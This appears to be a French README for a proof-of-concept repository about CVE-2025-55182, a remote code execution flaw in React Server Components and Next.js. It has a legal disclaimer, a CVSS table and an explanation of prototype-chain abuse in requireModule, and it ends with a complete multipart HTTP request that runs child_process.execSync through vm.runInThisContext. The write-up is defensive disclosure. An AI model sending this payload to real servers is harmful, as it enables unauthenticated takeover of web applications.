
Outil de recherche en sécurité unifié
Recherche en sécurité par schema.cx
« Le contrôle est une illusion. Ce sont les systèmes que nous construisons qui nous contrôlent — à moins que nous les comprenions d'abord. »
CET OUTIL EST DESTINÉ UNIQUEMENT AUX TESTS DE SÉCURITÉ AUTORISÉS
ARRÊTEZ. LISEZ CECI AVANT DE CONTINUER.
Ce dépôt contient un code de preuve de concept pour une vulnérabilité de sécurité critique. En accédant, téléchargeant ou utilisant tout élément de ce dépôt, vous reconnaissez et acceptez ce qui suit :
Autorisation écrite requise : Vous DEVEZ avoir une autorisation explicite et écrite du propriétaire du système avant d'effectuer tout test de sécurité. Les accords verbaux ne suffisent pas.
Limites de périmètre : Les tests doivent être confinés aux systèmes explicitement listés dans votre autorisation. L'« extension de périmètre » n'est pas autorisée.
Lois applicables : L'accès non autorisé à des systèmes informatiques viole :
LES AUTEURS ET CONTRIBUTEURS DE CE DÉPÔT :
« La question n'est pas de savoir si nous pouvons exploiter la vulnérabilité. C'est de savoir si nous devrions le faire, et dans quel but. »
CVE-2025-55182 est une vulnérabilité critique d'exécution de code à distance (RCE) sans authentification affectant les composants serveur React dans les applications React 19.x et Next.js 15.x-16.x.
Cette vulnérabilité permet à tout attaquant non authentifié ayant un accès réseau à une application vulnérable d'exécuter des commandes arbitraires sur le serveur. L'attaque ne nécessite ni identifiants, ni interaction utilisateur, et peut être entièrement automatisée. Une exploitation réussie conduit à :
| Métrique | Évaluation |
|---|---|
| Score de base CVSS v3.1 | 10.0 CRITIQUE |
| Vecteur d'attaque | Réseau |
| Complexité de l'attaque | Faible |
| Privilèges requis | Aucun |
| Interaction utilisateur | Aucune |
| Impact (C/I/D) | Élevé / Élevé / Élevé |
« Les gens font confiance aux systèmes parce qu'ils ne les comprennent pas. Cette confiance est une vulnérabilité. »
La vulnérabilité existe dans l'implémentation du protocole Flight de React au sein de la fonction requireModule. Cette fonction utilise la notation par crochets pour accéder aux exportations d'un module en fonction d'une entrée contrôlée par l'utilisateur, sans vérifier que la propriété demandée est une propriété propre du module.
Emplacement du code vulnérable :
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
Fonction : requireModule (environ lignes 2546-2558 dans v19.0.0)
Motif vulnérable :
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// ... gestion asynchrone ...
return moduleExports[metadata[2]]; // ← VULNÉRABLE : Absence de vérification hasOwnProperty
}
L'attaque exploite le parcours de la chaîne de prototypes de JavaScript :
$ACTION_0:0 contient du JSON avec les propriétés id (format module#export) et bound (arguments) contrôlées par l'attaquantconstructor ou en accédant aux propriétés du prototype, les attaquants peuvent référencer des modules Node.js intégrésvm.runInThisContext, child_process.execSync ou fs.readFileSync s'exécutent avec des arguments fournis par l'attaquantHTTP POST /formaction
↓
decodeAction(formData, serverManifest)
↓
loadServerReference(manifest, value.id, value.bound)
↓
resolveServerReference(config, id) // Parses "module#export" format
↓
requireModule(metadata)
↓
moduleExports[metadata[2]] // Prototype chain access → RCE
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--